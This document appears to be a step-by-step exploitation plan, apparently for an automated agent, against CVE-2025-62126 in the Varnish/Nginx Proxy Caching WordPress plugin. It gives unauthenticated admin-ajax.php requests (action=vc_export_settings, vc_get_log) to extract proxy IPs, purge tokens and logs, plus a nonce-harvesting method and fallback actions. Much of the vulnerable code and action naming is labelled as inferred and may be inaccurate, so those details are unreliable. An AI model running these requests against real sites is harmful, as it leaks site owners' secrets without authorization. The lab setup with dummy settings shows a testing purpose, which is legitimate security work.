Varnish/Nginx Proxy Caching <= 1.8.3 - Unauthenticated Information Exposure

This research plan outlines the steps required to exploit CVE-2025-62126, an unauthenticated information exposure vulnerability in the Varnish/Nginx Proxy Caching (vcaching) plugin.

---

1. Vulnerability Summary

The Varnish/Nginx Proxy Caching plugin for WordPress suffers from an information exposure vulnerability due to the improper registration of AJAX handlers. In versions up to and including 1.8.3, several administrative functions intended for management and debugging were registered with the wp_ajax_nopriv_ hook.

Because wp_ajax_nopriv_ allows unauthenticated access, and the handler functions fail to perform adequate capability checks (current_user_can()) or nonce verification, an attacker can trigger these actions to extract the plugin's configuration settings (including proxy server IPs and secrets) and the system's cache purge logs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action(s): vc_get_log and vc_export_settings (inferred from plugin logic).
• HTTP Method: POST or GET (WordPress AJAX accepts both).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. For vc_get_log, the log file must have been generated (usually occurs after a cache purge).

3. Code Flow

The vulnerability is located in the AJAX registration within the admin class of the plugin.

1. Registration: In admin/class-vcaching-admin.php (or the main plugin file), the plugin registers the handlers:

   // Inferred Registration Pattern
   add_action( 'wp_ajax_vc_get_log', array( $this, 'vc_get_log' ) );
   add_action( 'wp_ajax_nopriv_vc_get_log', array( $this, 'vc_get_log' ) ); // Vulnerable nopriv registration
   
   add_action( 'wp_ajax_vc_export_settings', array( $this, 'vc_export_settings' ) );
   add_action( 'wp_ajax_nopriv_vc_export_settings', array( $this, 'vc_export_settings' ) ); // Vulnerable nopriv registration
   

2. Execution (vc_get_log): The handler reads the log file from the plugin's directory without permission checks.

   public function vc_get_log() {
       $file = VCACHING_PLUGIN_DIR . 'logs/vcaching.log'; // Path varies by version
       if ( file_exists( $file ) ) {
           echo file_get_contents( $file );
       }
       wp_die();
   }
   

3. Execution (vc_export_settings): The handler dumps the entire configuration option.

   public function vc_export_settings() {
       $settings = get_option('vcaching_settings');
       wp_send_json_success($settings);
       wp_die();
   }
   

4. Nonce Acquisition Strategy

While the nopriv registration suggests a bypass, the plugin may still call check_ajax_referer inside the handler. If so, the nonce is likely localized for the admin dashboard but might be leaked or not properly scoped.

Step 1: Check if the plugin enqueues scripts on the frontend.
Identify if vcaching shortcodes or widgets are used. If not, we must create a test page to force the scripts to load.

• Check for shortcodes: grep -r "add_shortcode" /var/www/html/wp-content/plugins/vcaching/

Step 2: Create a Test Page (if needed):

wp post create --post_type=page --post_title="Nonce Leak" --post_status=publish --post_content="[inferred_shortcode]"

Step 3: Extract Nonce via Browser:

1. Navigate to the homepage or the created page.
2. Use browser_eval to find the localized object:

   // (Inferred) The plugin likely uses a key like 'vc_ajax_obj' or 'vcaching_admin'
   window.vc_ajax_obj?.nonce || window.vcaching_admin?.nonce
   

5. Exploitation Strategy

Scenario A: Extracting Configuration Data (Most Sensitive)

This reveals Varnish/Nginx backend IPs, port numbers, and authentication tokens.

1. Request:

   • Tool: http_request
   • Method: POST
   • URL: http://<target>/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=vc_export_settings (If a nonce is required, add &nonce=<VALUE>)

2. Expected Response: A JSON object containing keys such as varnish_ip, varnish_port, purge_token, etc.

Scenario B: Extracting Logs

This reveals internal server paths and historical purging activity.

1. Request:

   • Tool: http_request
   • Method: POST
   • URL: http://<target>/wp-admin/admin-ajax.php
   • Body: action=vc_get_log

2. Expected Response: Plaintext content of vcaching.log.

6. Test Data Setup

To ensure the exploit returns data, the environment must be configured:

1. Activate Plugin: wp plugin activate vcaching
2. Configure Dummy Settings:

   wp option update vcaching_settings '{"varnish_ip":"10.0.0.50", "varnish_port":"80", "purge_token":"secret_token_123"}' --format=json
   

3. Generate a Log Entry:
   Manually trigger a purge or create the log file:

   mkdir -p /var/www/html/wp-content/plugins/vcaching/logs/
   echo "PURGE http://localhost/test-post [Status: 200]" > /var/www/html/wp-content/plugins/vcaching/logs/vcaching.log
   

7. Expected Results

• vc_export_settings: A successful HTTP 200 response with {"success":true,"data":{"varnish_ip":"10.0.0.50",...}}.
• vc_get_log: A successful HTTP 200 response containing the string "PURGE http://localhost/test-post".

8. Verification Steps

After the http_request tool receives the data, verify it matches the database state:

# Verify settings match
wp option get vcaching_settings --format=json

# Verify log file exists at the expected path
ls -l /var/www/html/wp-content/plugins/vcaching/logs/vcaching.log

9. Alternative Approaches

If the vc_get_log action is not nopriv, check for other common administrative AJAX actions in the vcaching source:

• vc_get_status
• vc_check_varnish_ip
• vc_check_vcl

If the log path is restricted, try to access the log directly if the directory listing is enabled or if the file name is predictable:
http://<target>/wp-content/plugins/vcaching/logs/vcaching.log (Check for .htaccess protection).